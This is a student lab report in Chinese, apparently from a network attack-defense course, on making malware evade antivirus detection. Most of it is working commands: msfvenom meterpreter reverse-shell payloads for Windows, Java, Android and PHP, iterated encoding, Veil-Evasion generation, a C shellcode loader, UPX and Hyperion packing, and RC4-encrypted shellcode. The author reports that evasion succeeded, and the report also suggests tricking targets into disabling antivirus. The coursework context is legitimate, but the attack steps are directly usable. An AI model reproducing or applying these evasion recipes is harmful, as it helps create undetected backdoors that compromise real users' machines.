2020-2021-2 网络对抗技术 20181230 Exp3 免杀原理与实践

免杀原理以及基础知识问答

免杀原理:

1、 一般是对恶意软件做处理,让他不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
2、 要做好免杀,就需要清楚杀毒软件(恶意软件检测工具)是如何工作的。
3、 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

基础知识问答:

(1)杀软是如何检测出恶意代码的?

​ 1.基于特征码检测

​ a.很多软件都会有各种特征码记成的特征库

​ b.恶意软件的一个或几个片断就可作为识别依据。

​ 2.也有启发式恶意软件的检测

​ a.有种宁杀错不放过的感觉

​ 3.基于行为的检测

(2)免杀是做什么?

​ 1.免杀就是通过某些手段对软件进行处理,让它不会被杀毒软件检测出来

(3)免杀的基本方法有哪些

​ 根据杀软检测恶意软件的手段,即大致技术

​ 1.改变特征码

​ a.加壳:压缩壳 加密壳

​ b.用encode进行编码

​ c.基于payload重新编译生成可执行文件

​ d.用其他语言进行重写再编译(veil-evasion)

​ 2.改变行为

​ a.尽量使用反弹式连接

​ b.使用隧道技术

​ c.加密通讯数据

​ d.基于内存操作

​ e.减少对系统的修改

​ f.加入混淆作用的正常功能代码

​ 3.非常规方法

​ a.使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

​ b.使用社工类攻击,诱骗目标关闭AV软件。

​ c.纯手工打造一个恶意软件

实验内容:

实验准备及相关知识:

VirusTotal、Virscan

  • 集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
  • 链接如下:

Msfvenom使用编码器

  • Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
  • 模板是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

Veil-Evasion

  • Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。

C语言调用Shellcode

  • 就是一个半手工打造恶意软件的例子。

加壳

  • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析
  • 从技术上分壳分为:
    • 压缩壳
    • 加密壳
    • 虚拟机

任务一:正确使用免杀工具或技巧

一、正确使用msf编码器

​ 将实验二中用msf命令生成的后门程序20181230_backdoor.exe放到VirusTotal中扫描结果如下:

​ 然后输入对应命令,进行多次编码尝试降低检出率。

有53款检测出问题

​ 一次编码:

-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’x00’不出现在shellcode中,因为shellcode以’x00’为结束符。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.104 LPORT=12300 -f exe > 20181230_backdoor1.exe

69款杀软有47款报毒

​ 十次编码:

-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.3.104 LPORT=12300 -f exe > 20181230_backdoor10.exe

​ 再进入上述网站扫描:

没有检测出问题

二、msfvenom生成如jar之类的其他文件

​ 1.生成jar文件

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.3.104 lport=12300 x> 20181230_JAVAbackdoor.jar

61款杀软有36款报毒

​ 2.生成apk文件

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.3.104 LPORT=12300 R > 20181230_APKbackdoor.apk

59款杀软有27款报毒

​ 3.生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.104 LPORT=12300 x> 2012300_backdoor.php

58款杀软有19款报毒

三、利用veil-evasion

因为kail里没有veil,所以要先进行安装(中间出现了一些错误浪费了很多时间,最后在同学的帮助下完成了安装)

在安装前执行下列命令,做好准备

mkdir -p ~/.cache/wine
cd ~/.cache/wine 
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

然后按照以下指令进行按照,安装过程耐心等待

sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
sudo apt-get update

完成后有Done!提示说明成功,然后再用veil命令打开界面

命令use evasion命令进入Veil-Evasion

命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹窗口及端口set LHOST

192.168.43.131

set LPORT

12300

命令generate生成文件,输入你的playload名字veil_c_12300

及下方可以查看exe文件保存地址

/var/lib/veil/output/compiled/veil_c_12300.exe

四、使用C + shellcode编程

首先我们需要先生成一段shellcode(我这里更换了网络所以ip地址发生了变化)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.131 LPORT=12300 -f c

然后创建一个c文件20181230.c,将下述代码及新建的shellcode复制进去

unsigned char buf[] = 'shellcode'
…………
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

然后因为我们需要将这个放入windoes下运行,所以需要进行交叉编译。
i686-w64-mingw32-g++ 20181230.c -o 20181230.exe

五、加壳工具

给上面的shellcode加一个压缩壳(UPX):upx 20181230.exe -o 20181230_upx.exe

加密壳处理:将之前生成的hyerion.exe文件(地址:/usr/share/windows-binaries/hyperion/)拷贝到20181230_upx.exe所在目录中

加壳命令wine hyperion.exe -v 20181230_upx.exe 20181230_hyperionupxd.exe

六、加密

加密是一种能够有效反击反病毒软件静态扫描功能的方法,因为AV引擎不能立刻爆破它。

用msfvenom生成使用一个RC4加密的shellcode,用上述方法,编写一个c程序,并生成exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.131 LPORT=12300 --encrypt rc4 --encrypt-key thisisakey -f c

七、其他

使用Veil-Evasion的其他载荷生成后门

输入命令veil启动, 用use evasion命令进入Evil-Evasion

输入list查看其他可用的有效荷载

输入命令use 13,这里我选择的是第13个载荷cs/shellcode_inject/virtual.py

输入option,查看有效荷载的选项,然后运行generate生成有效载荷,我们选择4带有shellcode的有效载荷。这里会要求输入本机的IP:192.168.43.183和该payload使用的端口,我们设置为12300端口

成功完成以上编译后,编译后的文件被保存在/var/lib/veil/output/compiled/cs_Veil_12300.exe

同时新生成的 shellcode 的 rc 文件也被保存在了 /var/lib/veil/output/handlers/cs_Veil_12300.rc下!既然有了rc文件,那么我们就可以方便的利用MSF 行调用了

进入该文件目录下cd /var/lib/veil/output/handlers/
使用命令msfconsole -r cs_Veil_12300.rc

任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

首先用C语言生成一段shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.131 LPORT=12300 --encrypt rc4 --encrypt-key thisisakey -f c

创建一个20181230.c文件,并且将刚才生成的shellcode放进去

使用命令:i686-w64-mingw32-g++ encrypt_20181230.c -o encrypt_20181230.exe编译这个.c文件为可执行文件

在经历压缩壳

upx encrypt_20181230.exe -o zym_upxd.exe

在经历加密壳:Hyperion

将要加密的恶意代码拉到/usr/share/windows-resources/hyperion/

进入/usr/share/windows-resources/hyperion/

执行

sudo wine hyperion.exe -v zym_upxd.exe zym_upxd_Hyperion.exe

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验总结与体会

开启杀软能绝对防止电脑中恶意代码吗

我觉得不太行,连我们这种刚接触的小白都能在误打误撞中实现不被查杀,更何况有许多专门从事这方面的技术大牛,虽然大部分的时候能检测出,但绝对一词确实不太合适。

实验体会

此次实验多次差点机器崩溃,可能是我自己操作不当,存在一些问题,浪费了大量时间,但通过实验确实学到了许多东西,了解了各种各样的免杀方法,但也让我对目前的杀软多了一分失望,就实验看来,确实漏洞百出,没有检测出不代表就安全,以后浏览网页,下载资源软件一定要多加小心。

posted on 2021-04-05 17:29  仲夏之森  阅读(145)  评论(0)    收藏  举报